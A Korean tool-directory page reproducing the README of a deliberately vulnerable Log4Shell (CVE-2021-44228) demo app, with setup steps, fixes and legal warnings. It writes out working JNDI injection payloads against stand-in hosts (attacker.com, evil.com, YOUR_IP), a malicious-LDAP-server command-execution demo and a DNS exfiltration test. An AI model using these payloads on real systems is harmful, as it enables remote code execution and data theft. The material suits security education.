Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4j2-bugmaker — Demo of CVE-2021-44228 Log4Shell. | Kitploit
도구/GitHubGitHub/mintimate/log4j2-bugmaker
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access ToolLabs & Practice
GitHubmintimate/log4j2-bugmaker

log4j2-bugmaker

Demo of CVE-2021-44228 Log4Shell.

저장소 보기
9개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Log4j2-BugMaker

CVE-2021-44228 Log4Shell 취약점 데모 프로젝트

이것은 Log4j2 원격 코드 실행 취약점(Log4Shell)을 학습하고 연구하기 위한 데모 프로젝트입니다.

⚠️ 보안 경고

이 프로젝트는 보안 연구 및 교육 목적으로만 사용되며, 프로덕션 환경에서 사용하지 마십시오!

이 프로젝트는 심각한 보안 취약점이 있는 Log4j 2.14.1 버전을 사용합니다.

📋 환경 구성

  • Spring Boot: 2.6.1
  • Log4j2: 2.14.1 (취약한 버전)
  • Java: 8 (JDK 1.8)

🚀 빠른 시작

1. 프로젝트 컴파일

root@kitploit:~
./mvnw clean package

2. 애플리케이션 실행

root@kitploit:~
./mvnw spring-boot:run

또는:

root@kitploit:~
java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar

3. 애플리케이션 접속

브라우저를 열고 다음 주소에 접속하세요: http://localhost:8080

🎯 취약점 엔드포인트

1. User-Agent 헤더 주입

root@kitploit:~
curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log

2. 쿼리 파라미터 주입

root@kitploit:~
curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"

3. 헬스 체크 (취약점 없음)

root@kitploit:~
curl http://localhost:8080/api/health

💡 취약점 원리

Log4Shell(CVE-2021-44228)은 Apache Log4j2에서 발견된 심각한 취약점입니다. 애플리케이션이 특수 형식 문자열을 포함한 사용자 입력을 로깅할 때, Log4j2는 JNDI 룩업 표현식을 해석하며, 공격자는 이 기능을 이용해 원격 코드를 실행할 수 있습니다.

공격 페이로드 예시

root@kitploit:~
${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}

테스트 페이로드 (안전)

root@kitploit:~
${java:version}
${java:os}
${env:PATH}

🔧 테스트 절차

  1. 애플리케이션 시작
  2. JNDI 표현식이 포함된 요청 전송
  3. 콘솔 로그를 확인하여 Log4j2의 해석 동작 관찰

🛡️ 수정 방법

방법 1: Log4j2 버전 업그레이드

Log4j2를 2.17.1 이상 버전으로 업그레이드하세요:

root@kitploit:~
<properties>
    <log4j2.version>2.17.1</log4j2.version>
</properties>

방법 2: JVM 파라미터 설정

root@kitploit:~
-Dlog4j2.formatMsgNoLookups=true

방법 3: JndiLookup 클래스 제거

root@kitploit:~
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

🚀 원격 코드 실행 데모

방법 1: 제공된 도구 사용 (권장)

root@kitploit:~
# 1. 자동화 스크립트 실행
./setup-exploit-server.sh

# 2. JNDI-Injection-Exploit 도구 선택
# 3. 실행할 명령 입력 (예: whoami 또는 cat /etc/hosts)
# 4. 다른 터미널에서 공격 페이로드 전송

방법 2: Python LDAP 서버 사용

root@kitploit:~
# 악성 LDAP 서버 시작
python3 simple-ldap-server.py "whoami"

# 또는 다른 명령 실행
python3 simple-ldap-server.py "cat /etc/hosts"

# 다른 터미널에서 공격 페이로드 전송
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log

방법 3: DNS 외부 전송 검증 (서버 구축 불필요)

root@kitploit:~
# DNS 외부 전송 테스트 스크립트 실행
./test-dns-exfiltration.sh

# 안내에 따라 dnslog.cn에 접속하여 서브도메인 획득
# 그런 다음 DNS 쿼리 요청이 수신되었는지 확인

📚 참고 자료

  • CVE-2021-44228 상세 정보
  • Apache Log4j 보안 공지
  • CISA 경고
  • JNDI-Injection-Exploit
  • JNDIExploit

📝 라이선스

이 프로젝트는 MIT License 오픈소스 라이선스를 따릅니다.

특별 고지: 이 프로젝트는 교육 및 보안 연구 목적으로만 사용되며, 사용에 따른 모든 책임은 사용자 본인에게 있습니다.

⚠️ 법적 고지

허가 없이 타인의 시스템에 침투 테스트를 수행하는 것은 불법입니다! 이 프로젝트는 다음 용도로만 사용해야 합니다:

  • 자신의 테스트 환경에서 학습
  • 허가된 보안 테스트
  • 보안 연구 및 교육 목적

현지 법률과 규정을 준수하고, 이러한 지식을 책임감 있게 사용하십시오.

도구 다운로드